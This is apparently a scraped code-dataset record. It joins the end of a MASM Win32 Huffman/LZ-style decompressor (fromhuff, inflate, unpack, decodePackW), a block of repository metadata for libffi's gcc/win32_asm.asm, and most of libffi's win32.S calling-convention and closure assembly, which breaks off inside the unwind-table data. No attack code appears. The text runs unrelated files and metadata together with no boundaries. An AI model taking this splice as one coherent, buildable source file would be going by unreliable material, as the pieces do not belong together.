mov ecx,n mov eax,DWORD ptr[ebx+ecx] mov ecx,mi mov DWORD ptr[ebx+ecx],eax mov eax,min mov ecx,n mov DWORD ptr[ebx+ecx],eax .endif add ecx,4 .endw ret sorthuff endp fromhuff proc buff,bufflen,result,scanstart,type1,passed,passed0 local huf[516],huflen,byteoffset,map[516],codeend local t,s,bitoffset,inc1,endflag,hufmantotal local sum,a mov eax,90001h mov eax,scanstart .if type1 mov type1,1 .endif invoke decodeFlat,buff,scanstart,addr huf mov bitoffset,eax mov huflen,ebx add eax,7 shr eax,3 mov byteoffset,eax mov eax,huf[ebx*4 - 8] mov eax,huf[ebx*4 - 4] mov eax,byteoffset add eax,huflen dec eax mov codeend,eax mov ebx,byteoffset mov ecx,0 .while ebx<codeend mov edx,ebx add edx,buff mov al,BYTE ptr[edx] and eax,0ffh mov s,eax .if eax>=128 && type1>0 sub eax,128 shl eax,8 mov s,eax mov eax,codeend inc eax mov codeend,eax inc ebx mov eax,s mov edx,ebx add edx,buff mov al,BYTE ptr[edx] mov map[ecx*4],eax .else mov map[ecx*4],eax .endif inc ecx inc ebx .endw mov byteoffset,ebx shl ebx,3 mov bitoffset,ebx invoke sorthuff,addr huf,addr map,huflen mov eax,bufflen shl eax,3 mov codeend,eax .if passed mov ebx,passed mov eax,byteoffset add eax,passed0 mov DWORD ptr[ebx],eax .endif mov eax,huflen dec eax mov eax,huf[eax*4] mov endflag,eax shr eax,24 mov s,eax mov t,1 mov hufmantotal,0 .while TRUE invoke readBinary,buff,bitoffset,t mov ebx,t shl ebx,24 or eax,ebx mov sum,eax mov eax,huflen dec eax invoke findhuff,addr huf,eax,sum .if edx mov ebx,sum mov ebx,t mov eax,map[eax*4] mov a,eax .else mov ebx,t inc ebx mov t,ebx mov eax,s .if t>eax mov eax,sum .break; .endif .continue .endif .if edx mov eax,hufmantotal mov ebx,a .if type1 shl eax,1 add eax,result mov WORD ptr[eax],bx .else add eax,result mov BYTE ptr[eax],bl .endif mov eax,hufmantotal inc eax mov hufmantotal,eax mov eax,bitoffset add eax,t mov bitoffset,eax .if passed shr eax,3 add eax,passed0 mov ebx,passed mov DWORD ptr[ebx],eax .endif mov t,1 .else mov eax,t add eax,1 mov t,eax .endif mov eax,bitoffset .break .if eax>codeend .endw mov eax,sum mov eax,t mov eax,bitoffset mov eax,endflag .if eax!=sum invoke MessageBox,NULL,addr errortext,addr errortitle,MB_OK invoke ExitProcess,1 .endif mov eax,sum shr eax,24 add eax,bitoffset mov bitoffset,eax mov ebx,hufmantotal ret fromhuff endp inflate proc srcstart,srclen,dststart local b,cc,s,dstlen mov ecx,srcstart mov edx,srclen shl edx,1 mov dstlen,0 add edx,ecx .while ecx<edx mov eax,0 mov ax,WORD ptr[ecx] .if eax<256 add ecx,2 mov ebx,dstlen add ebx,dststart mov BYTE ptr[ebx],al mov ebx,dstlen inc ebx mov dstlen,ebx .else and eax,07fh shl eax,8 add ecx,2 mov ebx,0 mov bx,WORD ptr[ecx] or eax,ebx add eax,1 mov b,eax mov eax,0 add ecx,2 mov ax,WORD ptr[ecx] shl eax,9 mov ebx,0 add ecx,2 mov bx,WORD ptr[ecx] shl ebx,4 or eax,ebx mov ebx,0 add ecx,2 mov bx,WORD ptr[ecx] or eax,ebx mov cc,eax add ecx,2 push ecx push edx mov eax,dstlen sub eax,cc sub eax,b mov s,eax add eax,b mov edx,eax mov ecx,s .while ecx<edx mov ebx,ecx add ebx,dststart mov al,BYTE ptr[ebx] mov ebx,dstlen add ebx,dststart mov BYTE ptr[ebx],al mov ebx,dstlen inc ebx mov dstlen,ebx inc ecx .endw mov dstlen,ebx pop edx pop ecx .endif .endw mov eax,dstlen ret inflate endp repeatcode proc a,count,dist mov ecx,count mov ebx,dist mov eax,a .while ecx>0 dec ecx mov BYTE ptr[ebx+ecx],al .endw ret repeatcode endp memcopy proc start,len,dist mov ecx,start mov edx,len add edx,ecx mov ebx,dist .if edx>4 sub edx,4 .while ecx<edx mov eax,DWORD ptr[ecx] mov DWORD ptr[ebx],eax add ecx,4 add ebx,4 .endw add edx,4 .endif .while ecx<edx mov al,BYTE ptr[ecx] mov BYTE ptr[ebx],al inc ecx inc ebx .endw ret memcopy endp unpack proc start,len,dsth,passed local writed,buff,bufflen,byteoffset,decoded,count,to local passed0 mov writed,0 mov eax,len .if eax<2 invoke WriteFile,dsth,start,len,addr writed,NULL ret .endif mov ecx,start mov edx,len mov passed0,0 add edx,ecx .while ecx<edx push edx mov to,ecx mov buff,0 mov decoded,0 mov eax,90000h mov eax,0 mov al,BYTE ptr[ecx+1] shr eax,5 .if eax==normal_huffman mov eax,len mov ebx,32 shl ebx,20 invoke GlobalAlloc,GMEM_FIXED or GMEM_ZEROINIT,ebx mov decoded,eax mov ecx,to invoke fromhuff,ecx,len,decoded,0,normal_huffman,passed,passed0 add eax,7 shr eax,3 add eax,to mov to,eax mov count,ebx .elseif eax==repeat_huffman mov eax,len mov ebx,64 shl ebx,20 invoke GlobalAlloc,GMEM_FIXED or GMEM_ZEROINIT,ebx mov buff,eax mov ecx,to invoke fromhuff,ecx,len,buff,0,repeat_huffman,passed,passed0 mov bufflen,ebx add eax,7 shr eax,3 add eax,to mov to,eax mov eax,len mov ebx,64 shl ebx,20 invoke GlobalAlloc,GMEM_FIXED or GMEM_ZEROINIT,ebx mov decoded,eax invoke inflate,buff,bufflen,decoded mov count,eax .elseif eax==normal_repeat1 mov eax,0 mov al,BYTE ptr[ecx+1] and eax,01fh mov count,eax invoke GlobalAlloc,GMEM_FIXED or GMEM_ZEROINIT,count mov decoded,eax mov ecx,to invoke repeatcode,BYTE ptr[ecx],count,decoded mov ecx,to add ecx,2 mov to,ecx .elseif eax==normal_repeat2 mov eax,0 mov al,BYTE ptr[ecx+1] and eax,01fh mov ebx,0 mov bl,BYTE ptr[ecx] shl ebx,5 or eax,ebx mov count,eax invoke GlobalAlloc,GMEM_FIXED or GMEM_ZEROINIT,count mov decoded,eax mov ecx,to invoke repeatcode,BYTE ptr[ecx],count,decoded mov ecx,to add ecx,3 mov to,ecx .elseif eax==normal_nocode1 mov eax,0 mov al,BYTE ptr[ecx+1] and eax,01fh mov ebx,0 mov bl,BYTE ptr[ecx] shl ebx,5 or eax,ebx mov count,eax invoke GlobalAlloc,GMEM_FIXED or GMEM_ZEROINIT,count mov decoded,eax mov ecx,to add ecx,2 invoke memcopy,ecx,count,decoded mov ecx,to add ecx,count add ecx,2 mov to,ecx .elseif eax==normal_nocode2 mov eax,0 mov al,BYTE ptr[ecx+1] and eax,01fh mov ebx,0 mov bl,BYTE ptr[ecx] shl ebx,13 mov bl,BYTE ptr[ecx+2] shl eax,8 or eax,ebx mov count,eax invoke GlobalAlloc,GMEM_FIXED or GMEM_ZEROINIT,count mov decoded,eax mov ecx,to add ecx,3 invoke memcopy,ecx,count,decoded mov ecx,to add ecx,count add ecx,3 mov to,ecx .elseif eax==normal_nocode3 mov eax,0 mov al,BYTE ptr[ecx+1] and eax,01fh mov ebx,0 mov bl,BYTE ptr[ecx] shl ebx,21 shl eax,16 mov bh,BYTE ptr[ecx+2] mov bl,BYTE ptr[ecx+3] or eax,ebx mov count,eax invoke GlobalAlloc,GMEM_FIXED or GMEM_ZEROINIT,count mov decoded,eax mov ecx,to add ecx,4 invoke memcopy,ecx,count,decoded mov ecx,to add ecx,4 add ecx,count mov to,ecx .else invoke MessageBox,NULL,offset errortext,offset errortitle,MB_OK invoke ExitProcess,1 .endif .if decoded invoke WriteFile,dsth,decoded,count,addr writed,NULL invoke GlobalFree,decoded .endif .if buff invoke GlobalFree,buff .endif .if passed mov eax,to sub eax,start mov passed0,eax mov ebx,passed mov DWORD ptr [ebx],eax .endif mov ecx,to pop edx .endw ret unpack endp decodePackW proc srch,start,len,dsth,passed local buff,readed invoke GlobalAlloc,GMEM_FIXED or GMEM_ZEROINIT,len .if !eax ret .endif mov buff,eax mov eax,start and eax,07fffffffh .if start!=eax invoke SetFilePointer,srch,start,NULL,FILE_END .else invoke SetFilePointer,srch,start,NULL,FILE_BEGIN .endif invoke ReadFile,srch,buff,len,addr readed,0 mov ecx,buff mov eax,95577h mov eax,DWORD ptr[ecx] shr eax,5 invoke unpack,buff,len,dsth,passed invoke GlobalFree,buff ret decodePackW endp
23.075556
75
0.499679
ce3c4f3f38f2e404cfb9312e04f277a32647b9bc
19,091
asm
Assembly
gcc/win32_asm.asm
SolitudeSF/libffi
5c3eab3abf3aab44ba9896e1bba43c968ae5774e
[ "MIT" ]
2
2021-09-10T20:37:23.000Z
2021-11-17T10:16:48.000Z
gcc/win32_asm.asm
SolitudeSF/libffi
5c3eab3abf3aab44ba9896e1bba43c968ae5774e
[ "MIT" ]
null
null
null
gcc/win32_asm.asm
SolitudeSF/libffi
5c3eab3abf3aab44ba9896e1bba43c968ae5774e
[ "MIT" ]
1
2021-04-18T08:29:34.000Z
2021-04-18T08:29:34.000Z
/* ----------------------------------------------------------------------- win32.S - Copyright (c) 1996, 1998, 2001, 2002, 2009 Red Hat, Inc. Copyright (c) 2001 John Beniton Copyright (c) 2002 Ranjit Mathew Copyright (c) 2009 Daniel Witte X86 Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #define LIBFFI_ASM #include <fficonfig.h> #include <ffi.h> #include <ffitarget.h> .text // This assumes we are using gas. .balign 16 .globl _ffi_call_win32 #ifndef __OS2__ .def _ffi_call_win32; .scl 2; .type 32; .endef #endif _ffi_call_win32: .LFB1: pushl %ebp .LCFI0: movl %esp,%ebp .LCFI1: // Make room for all of the new args. movl 20(%ebp),%ecx subl %ecx,%esp movl %esp,%eax // Place all of the ffi_prep_args in position pushl 12(%ebp) pushl %eax call *8(%ebp) // Return stack to previous state and call the function addl $8,%esp // Handle fastcall and thiscall cmpl $3, 16(%ebp) // FFI_THISCALL jz .do_thiscall cmpl $4, 16(%ebp) // FFI_FASTCALL jnz .do_fncall movl (%esp), %ecx movl 4(%esp), %edx addl $8, %esp jmp .do_fncall .do_thiscall: movl (%esp), %ecx addl $4, %esp .do_fncall: // FIXME: Align the stack to a 128-bit boundary to avoid // potential performance hits. call *32(%ebp) // stdcall functions pop arguments off the stack themselves // Load %ecx with the return type code movl 24(%ebp),%ecx // If the return value pointer is NULL, assume no return value. cmpl $0,28(%ebp) jne 0f // Even if there is no space for the return value, we are // obliged to handle floating-point values. cmpl $FFI_TYPE_FLOAT,%ecx jne .Lnoretval fstp %st(0) jmp .Lepilogue 0: call 1f // Do not insert anything here between the call and the jump table. .Lstore_table: .long .Lnoretval /* FFI_TYPE_VOID */ .long .Lretint /* FFI_TYPE_INT */ .long .Lretfloat /* FFI_TYPE_FLOAT */ .long .Lretdouble /* FFI_TYPE_DOUBLE */ .long .Lretlongdouble /* FFI_TYPE_LONGDOUBLE */ .long .Lretuint8 /* FFI_TYPE_UINT8 */ .long .Lretsint8 /* FFI_TYPE_SINT8 */ .long .Lretuint16 /* FFI_TYPE_UINT16 */ .long .Lretsint16 /* FFI_TYPE_SINT16 */ .long .Lretint /* FFI_TYPE_UINT32 */ .long .Lretint /* FFI_TYPE_SINT32 */ .long .Lretint64 /* FFI_TYPE_UINT64 */ .long .Lretint64 /* FFI_TYPE_SINT64 */ .long .Lretstruct /* FFI_TYPE_STRUCT */ .long .Lretint /* FFI_TYPE_POINTER */ .long .Lretstruct1b /* FFI_TYPE_SMALL_STRUCT_1B */ .long .Lretstruct2b /* FFI_TYPE_SMALL_STRUCT_2B */ .long .Lretstruct4b /* FFI_TYPE_SMALL_STRUCT_4B */ .long .Lretstruct /* FFI_TYPE_MS_STRUCT */ 1: add %ecx, %ecx add %ecx, %ecx add (%esp),%ecx add $4, %esp jmp *(%ecx) /* Sign/zero extend as appropriate. */ .Lretsint8: movsbl %al, %eax jmp .Lretint .Lretsint16: movswl %ax, %eax jmp .Lretint .Lretuint8: movzbl %al, %eax jmp .Lretint .Lretuint16: movzwl %ax, %eax jmp .Lretint .Lretint: // Load %ecx with the pointer to storage for the return value movl 28(%ebp),%ecx movl %eax,0(%ecx) jmp .Lepilogue .Lretfloat: // Load %ecx with the pointer to storage for the return value movl 28(%ebp),%ecx fstps (%ecx) jmp .Lepilogue .Lretdouble: // Load %ecx with the pointer to storage for the return value movl 28(%ebp),%ecx fstpl (%ecx) jmp .Lepilogue .Lretlongdouble: // Load %ecx with the pointer to storage for the return value movl 28(%ebp),%ecx fstpt (%ecx) jmp .Lepilogue .Lretint64: // Load %ecx with the pointer to storage for the return value movl 28(%ebp),%ecx movl %eax,0(%ecx) movl %edx,4(%ecx) jmp .Lepilogue .Lretstruct1b: // Load %ecx with the pointer to storage for the return value movl 28(%ebp),%ecx movb %al,0(%ecx) jmp .Lepilogue .Lretstruct2b: // Load %ecx with the pointer to storage for the return value movl 28(%ebp),%ecx movw %ax,0(%ecx) jmp .Lepilogue .Lretstruct4b: // Load %ecx with the pointer to storage for the return value movl 28(%ebp),%ecx movl %eax,0(%ecx) jmp .Lepilogue .Lretstruct: // Nothing to do! .Lnoretval: .Lepilogue: movl %ebp,%esp popl %ebp ret .ffi_call_win32_end: .balign 16 .globl _ffi_closure_THISCALL #ifndef __OS2__ .def _ffi_closure_THISCALL; .scl 2; .type 32; .endef #endif _ffi_closure_THISCALL: pushl %ebp movl %esp, %ebp subl $40, %esp leal -24(%ebp), %edx movl %edx, -12(%ebp) /* resp */ leal 12(%ebp), %edx /* account for stub return address on stack */ jmp .stub .LFE1: // This assumes we are using gas. .balign 16 .globl _ffi_closure_SYSV #ifndef __OS2__ .def _ffi_closure_SYSV; .scl 2; .type 32; .endef #endif _ffi_closure_SYSV: .LFB3: pushl %ebp .LCFI4: movl %esp, %ebp .LCFI5: subl $40, %esp leal -24(%ebp), %edx movl %edx, -12(%ebp) /* resp */ leal 8(%ebp), %edx .stub: movl %edx, 4(%esp) /* args = __builtin_dwarf_cfa () */ leal -12(%ebp), %edx movl %edx, (%esp) /* &resp */ call _ffi_closure_SYSV_inner movl -12(%ebp), %ecx 0: call 1f // Do not insert anything here between the call and the jump table. .Lcls_store_table: .long .Lcls_noretval /* FFI_TYPE_VOID */ .long .Lcls_retint /* FFI_TYPE_INT */ .long .Lcls_retfloat /* FFI_TYPE_FLOAT */ .long .Lcls_retdouble /* FFI_TYPE_DOUBLE */ .long .Lcls_retldouble /* FFI_TYPE_LONGDOUBLE */ .long .Lcls_retuint8 /* FFI_TYPE_UINT8 */ .long .Lcls_retsint8 /* FFI_TYPE_SINT8 */ .long .Lcls_retuint16 /* FFI_TYPE_UINT16 */ .long .Lcls_retsint16 /* FFI_TYPE_SINT16 */ .long .Lcls_retint /* FFI_TYPE_UINT32 */ .long .Lcls_retint /* FFI_TYPE_SINT32 */ .long .Lcls_retllong /* FFI_TYPE_UINT64 */ .long .Lcls_retllong /* FFI_TYPE_SINT64 */ .long .Lcls_retstruct /* FFI_TYPE_STRUCT */ .long .Lcls_retint /* FFI_TYPE_POINTER */ .long .Lcls_retstruct1 /* FFI_TYPE_SMALL_STRUCT_1B */ .long .Lcls_retstruct2 /* FFI_TYPE_SMALL_STRUCT_2B */ .long .Lcls_retstruct4 /* FFI_TYPE_SMALL_STRUCT_4B */ .long .Lcls_retmsstruct /* FFI_TYPE_MS_STRUCT */ 1: add %eax, %eax add %eax, %eax add (%esp),%eax add $4, %esp jmp *(%eax) /* Sign/zero extend as appropriate. */ .Lcls_retsint8: movsbl (%ecx), %eax jmp .Lcls_epilogue .Lcls_retsint16: movswl (%ecx), %eax jmp .Lcls_epilogue .Lcls_retuint8: movzbl (%ecx), %eax jmp .Lcls_epilogue .Lcls_retuint16: movzwl (%ecx), %eax jmp .Lcls_epilogue .Lcls_retint: movl (%ecx), %eax jmp .Lcls_epilogue .Lcls_retfloat: flds (%ecx) jmp .Lcls_epilogue .Lcls_retdouble: fldl (%ecx) jmp .Lcls_epilogue .Lcls_retldouble: fldt (%ecx) jmp .Lcls_epilogue .Lcls_retllong: movl (%ecx), %eax movl 4(%ecx), %edx jmp .Lcls_epilogue .Lcls_retstruct1: movsbl (%ecx), %eax jmp .Lcls_epilogue .Lcls_retstruct2: movswl (%ecx), %eax jmp .Lcls_epilogue .Lcls_retstruct4: movl (%ecx), %eax jmp .Lcls_epilogue .Lcls_retstruct: // Caller expects us to pop struct return value pointer hidden arg. movl %ebp, %esp popl %ebp ret $0x4 .Lcls_retmsstruct: // Caller expects us to return a pointer to the real return value. mov %ecx, %eax // Caller doesn't expects us to pop struct return value pointer hidden arg. jmp .Lcls_epilogue .Lcls_noretval: .Lcls_epilogue: movl %ebp, %esp popl %ebp ret .ffi_closure_SYSV_end: .LFE3: #if !FFI_NO_RAW_API #define RAW_CLOSURE_CIF_OFFSET ((FFI_TRAMPOLINE_SIZE + 3) & ~3) #define RAW_CLOSURE_FUN_OFFSET (RAW_CLOSURE_CIF_OFFSET + 4) #define RAW_CLOSURE_USER_DATA_OFFSET (RAW_CLOSURE_FUN_OFFSET + 4) #define CIF_FLAGS_OFFSET 20 .balign 16 .globl _ffi_closure_raw_THISCALL #ifndef __OS2__ .def _ffi_closure_raw_THISCALL; .scl 2; .type 32; .endef #endif _ffi_closure_raw_THISCALL: pushl %ebp movl %esp, %ebp pushl %esi subl $36, %esp movl RAW_CLOSURE_CIF_OFFSET(%eax), %esi /* closure->cif */ movl RAW_CLOSURE_USER_DATA_OFFSET(%eax), %edx /* closure->user_data */ movl %edx, 12(%esp) /* user_data */ leal 12(%ebp), %edx /* __builtin_dwarf_cfa () */ jmp .stubraw // This assumes we are using gas. .balign 16 .globl _ffi_closure_raw_SYSV #ifndef __OS2__ .def _ffi_closure_raw_SYSV; .scl 2; .type 32; .endef #endif _ffi_closure_raw_SYSV: .LFB4: pushl %ebp .LCFI6: movl %esp, %ebp .LCFI7: pushl %esi .LCFI8: subl $36, %esp movl RAW_CLOSURE_CIF_OFFSET(%eax), %esi /* closure->cif */ movl RAW_CLOSURE_USER_DATA_OFFSET(%eax), %edx /* closure->user_data */ movl %edx, 12(%esp) /* user_data */ leal 8(%ebp), %edx /* __builtin_dwarf_cfa () */ .stubraw: movl %edx, 8(%esp) /* raw_args */ leal -24(%ebp), %edx movl %edx, 4(%esp) /* &res */ movl %esi, (%esp) /* cif */ call *RAW_CLOSURE_FUN_OFFSET(%eax) /* closure->fun */ movl CIF_FLAGS_OFFSET(%esi), %eax /* rtype */ 0: call 1f // Do not insert anything here between the call and the jump table. .Lrcls_store_table: .long .Lrcls_noretval /* FFI_TYPE_VOID */ .long .Lrcls_retint /* FFI_TYPE_INT */ .long .Lrcls_retfloat /* FFI_TYPE_FLOAT */ .long .Lrcls_retdouble /* FFI_TYPE_DOUBLE */ .long .Lrcls_retldouble /* FFI_TYPE_LONGDOUBLE */ .long .Lrcls_retuint8 /* FFI_TYPE_UINT8 */ .long .Lrcls_retsint8 /* FFI_TYPE_SINT8 */ .long .Lrcls_retuint16 /* FFI_TYPE_UINT16 */ .long .Lrcls_retsint16 /* FFI_TYPE_SINT16 */ .long .Lrcls_retint /* FFI_TYPE_UINT32 */ .long .Lrcls_retint /* FFI_TYPE_SINT32 */ .long .Lrcls_retllong /* FFI_TYPE_UINT64 */ .long .Lrcls_retllong /* FFI_TYPE_SINT64 */ .long .Lrcls_retstruct /* FFI_TYPE_STRUCT */ .long .Lrcls_retint /* FFI_TYPE_POINTER */ .long .Lrcls_retstruct1 /* FFI_TYPE_SMALL_STRUCT_1B */ .long .Lrcls_retstruct2 /* FFI_TYPE_SMALL_STRUCT_2B */ .long .Lrcls_retstruct4 /* FFI_TYPE_SMALL_STRUCT_4B */ .long .Lrcls_retstruct /* FFI_TYPE_MS_STRUCT */ 1: add %eax, %eax add %eax, %eax add (%esp),%eax add $4, %esp jmp *(%eax) /* Sign/zero extend as appropriate. */ .Lrcls_retsint8: movsbl -24(%ebp), %eax jmp .Lrcls_epilogue .Lrcls_retsint16: movswl -24(%ebp), %eax jmp .Lrcls_epilogue .Lrcls_retuint8: movzbl -24(%ebp), %eax jmp .Lrcls_epilogue .Lrcls_retuint16: movzwl -24(%ebp), %eax jmp .Lrcls_epilogue .Lrcls_retint: movl -24(%ebp), %eax jmp .Lrcls_epilogue .Lrcls_retfloat: flds -24(%ebp) jmp .Lrcls_epilogue .Lrcls_retdouble: fldl -24(%ebp) jmp .Lrcls_epilogue .Lrcls_retldouble: fldt -24(%ebp) jmp .Lrcls_epilogue .Lrcls_retllong: movl -24(%ebp), %eax movl -20(%ebp), %edx jmp .Lrcls_epilogue .Lrcls_retstruct1: movsbl -24(%ebp), %eax jmp .Lrcls_epilogue .Lrcls_retstruct2: movswl -24(%ebp), %eax jmp .Lrcls_epilogue .Lrcls_retstruct4: movl -24(%ebp), %eax jmp .Lrcls_epilogue .Lrcls_retstruct: // Nothing to do! .Lrcls_noretval: .Lrcls_epilogue: addl $36, %esp popl %esi popl %ebp ret .ffi_closure_raw_SYSV_end: .LFE4: #endif /* !FFI_NO_RAW_API */ // This assumes we are using gas. .balign 16 .globl _ffi_closure_STDCALL #ifndef __OS2__ .def _ffi_closure_STDCALL; .scl 2; .type 32; .endef #endif _ffi_closure_STDCALL: .LFB5: pushl %ebp .LCFI9: movl %esp, %ebp .LCFI10: subl $40, %esp leal -24(%ebp), %edx movl %edx, -12(%ebp) /* resp */ leal 12(%ebp), %edx /* account for stub return address on stack */ movl %edx, 4(%esp) /* args */ leal -12(%ebp), %edx movl %edx, (%esp) /* &resp */ call _ffi_closure_SYSV_inner movl -12(%ebp), %ecx 0: call 1f // Do not insert anything here between the call and the jump table. .Lscls_store_table: .long .Lscls_noretval /* FFI_TYPE_VOID */ .long .Lscls_retint /* FFI_TYPE_INT */ .long .Lscls_retfloat /* FFI_TYPE_FLOAT */ .long .Lscls_retdouble /* FFI_TYPE_DOUBLE */ .long .Lscls_retldouble /* FFI_TYPE_LONGDOUBLE */ .long .Lscls_retuint8 /* FFI_TYPE_UINT8 */ .long .Lscls_retsint8 /* FFI_TYPE_SINT8 */ .long .Lscls_retuint16 /* FFI_TYPE_UINT16 */ .long .Lscls_retsint16 /* FFI_TYPE_SINT16 */ .long .Lscls_retint /* FFI_TYPE_UINT32 */ .long .Lscls_retint /* FFI_TYPE_SINT32 */ .long .Lscls_retllong /* FFI_TYPE_UINT64 */ .long .Lscls_retllong /* FFI_TYPE_SINT64 */ .long .Lscls_retstruct /* FFI_TYPE_STRUCT */ .long .Lscls_retint /* FFI_TYPE_POINTER */ .long .Lscls_retstruct1 /* FFI_TYPE_SMALL_STRUCT_1B */ .long .Lscls_retstruct2 /* FFI_TYPE_SMALL_STRUCT_2B */ .long .Lscls_retstruct4 /* FFI_TYPE_SMALL_STRUCT_4B */ 1: add %eax, %eax add %eax, %eax add (%esp),%eax add $4, %esp jmp *(%eax) /* Sign/zero extend as appropriate. */ .Lscls_retsint8: movsbl (%ecx), %eax jmp .Lscls_epilogue .Lscls_retsint16: movswl (%ecx), %eax jmp .Lscls_epilogue .Lscls_retuint8: movzbl (%ecx), %eax jmp .Lscls_epilogue .Lscls_retuint16: movzwl (%ecx), %eax jmp .Lscls_epilogue .Lscls_retint: movl (%ecx), %eax jmp .Lscls_epilogue .Lscls_retfloat: flds (%ecx) jmp .Lscls_epilogue .Lscls_retdouble: fldl (%ecx) jmp .Lscls_epilogue .Lscls_retldouble: fldt (%ecx) jmp .Lscls_epilogue .Lscls_retllong: movl (%ecx), %eax movl 4(%ecx), %edx jmp .Lscls_epilogue .Lscls_retstruct1: movsbl (%ecx), %eax jmp .Lscls_epilogue .Lscls_retstruct2: movswl (%ecx), %eax jmp .Lscls_epilogue .Lscls_retstruct4: movl (%ecx), %eax jmp .Lscls_epilogue .Lscls_retstruct: // Nothing to do! .Lscls_noretval: .Lscls_epilogue: movl %ebp, %esp popl %ebp ret .ffi_closure_STDCALL_end: .LFE5: #ifndef __OS2__ .section .eh_frame,"w" #endif .Lframe1: .LSCIE1: .long .LECIE1-.LASCIE1 /* Length of Common Information Entry */ .LASCIE1: .long 0x0 /* CIE Identifier Tag */ .byte 0x1 /* CIE Version */ #ifdef __PIC__ .ascii "zR\0" /* CIE Augmentation */ #else .ascii "\0" /* CIE Augmentation */ #endif .byte 0x1 /* .uleb128 0x1; CIE Code Alignment Factor */ .byte 0x7c /* .sleb128 -4; CIE Data Alignment Factor */ .byte 0x8 /* CIE RA Column */ #ifdef __PIC__ .byte 0x1 /* .uleb128 0x1; Augmentation size */ .byte 0x1b /* FDE Encoding (pcrel sdata4) */ #endif .byte 0xc /* DW_CFA_def_cfa CFA = r4 + 4 = 4(%esp) */ .byte 0x4 /* .uleb128 0x4 */ .byte 0x4 /* .uleb128 0x4 */ .byte 0x88 /* DW_CFA_offset, column 0x8 %eip at CFA + 1 * -4 */ .byte 0x1 /* .uleb128 0x1 */ .align 4 .LECIE1: .LSFDE1: .long .LEFDE1-.LASFDE1 /* FDE Length */ .LASFDE1: .long .LASFDE1-.Lframe1 /* FDE CIE offset */ #if defined __PIC__ && defined HAVE_AS_X86_PCREL .long .LFB1-. /* FDE initial location */ #else .long .LFB1 #endif .long .LFE1-.LFB1 /* FDE address range */ #ifdef __PIC__ .byte 0x0 /* .uleb128 0x0; Augmentation size */ #endif /* DW_CFA_xxx CFI instructions go here. */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI0-.LFB1 .byte 0xe /* DW_CFA_def_cfa_offset CFA = r4 + 8 = 8(%esp) */ .byte 0x8 /* .uleb128 0x8 */ .byte 0x85 /* DW_CFA_offset, column 0x5 %ebp at CFA + 2 * -4 */ .byte 0x2 /* .uleb128 0x2 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI1-.LCFI0 .byte 0xd /* DW_CFA_def_cfa_register CFA = r5 = %ebp */ .byte 0x5 /* .uleb128 0x5 */ /* End of DW_CFA_xxx CFI instructions. */ .align 4 .LEFDE1: .LSFDE3: .long .LEFDE3-.LASFDE3 /* FDE Length */ .LASFDE3: .long .LASFDE3-.Lframe1 /* FDE CIE offset */ #if defined __PIC__ && defined HAVE_AS_X86_PCREL .long .LFB3-. /* FDE initial location */ #else .long .LFB3 #endif .long .LFE3-.LFB3 /* FDE address range */ #ifdef __PIC__ .byte 0x0 /* .uleb128 0x0; Augmentation size */ #endif /* DW_CFA_xxx CFI instructions go here. */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI4-.LFB3 .byte 0xe /* DW_CFA_def_cfa_offset CFA = r4 + 8 = 8(%esp) */ .byte 0x8 /* .uleb128 0x8 */ .byte 0x85 /* DW_CFA_offset, column 0x5 %ebp at CFA + 2 * -4 */ .byte 0x2 /* .uleb128 0x2 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI5-.LCFI4 .byte 0xd /* DW_CFA_def_cfa_register CFA = r5 = %ebp */ .byte 0x5 /* .uleb128 0x5 */ /* End of DW_CFA_xxx CFI instructions. */ .align 4 .LEFDE3: #if !FFI_NO_RAW_API .LSFDE4: .long .LEFDE4-.LASFDE4 /* FDE Length */ .LASFDE4: .long .LASFDE4-.Lframe1 /* FDE CIE offset */ #if defined __PIC__ && defined HAVE_AS_X86_PCREL .long .LFB4-. /* FDE initial location */ #else .long .LFB4 #endif .long .LFE4-.LFB4 /* FDE address range */ #ifdef __PIC__ .byte 0x0 /* .uleb128 0x0; Augmentation size */ #endif /* DW_CFA_xxx CFI instructions go here. */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI6-.LFB4 .byte 0xe /* DW_CFA_def_cfa_offset CFA = r4 + 8 = 8(%esp) */ .byte 0x8 /* .uleb128 0x8 */ .byte 0x85 /* DW_CFA_offset, column 0x5 %ebp at CFA + 2 * -4 */ .byte 0x2 /* .uleb128 0x2 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI7-.LCFI6 .byte 0xd /* DW_CFA_def_cfa_register CFA = r5 = %ebp */ .byte 0x5 /* .uleb128 0x5 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI8-.LCFI7 .byte 0x86 /* DW_CFA_offset, column 0x6 %esi at CFA + 3 * -4 */ .byte 0x3 /* .uleb128 0x3 */ /* End of DW_CFA_xxx CFI instructions. */ .align 4 .LEFDE4: #endif /* !FFI_NO_RAW_API */ .LSFDE5: .long .LEFDE5-.LASFDE5 /* FDE Length */ .LASFDE5: .long .LASFDE5-.Lframe1 /* FDE CIE offset */ #if defined __PIC__ && defined HAVE_AS_X86_PCREL .long .LFB5-. /* FDE initial location */ #else .long .LFB5 #endif .long .LFE5-.LFB5 /* FDE address range */ #ifdef __PIC__ .byte 0x0 /* .uleb128 0x0; Augmentation size */ #endif /* DW_CFA_xxx CFI instructions go here. */ .byte 0x4 /* DW_CFA_advance_loc4 */ .long .LCFI9-.LFB5 .byte 0xe /* DW_CFA_def_cfa_offset CFA = r4 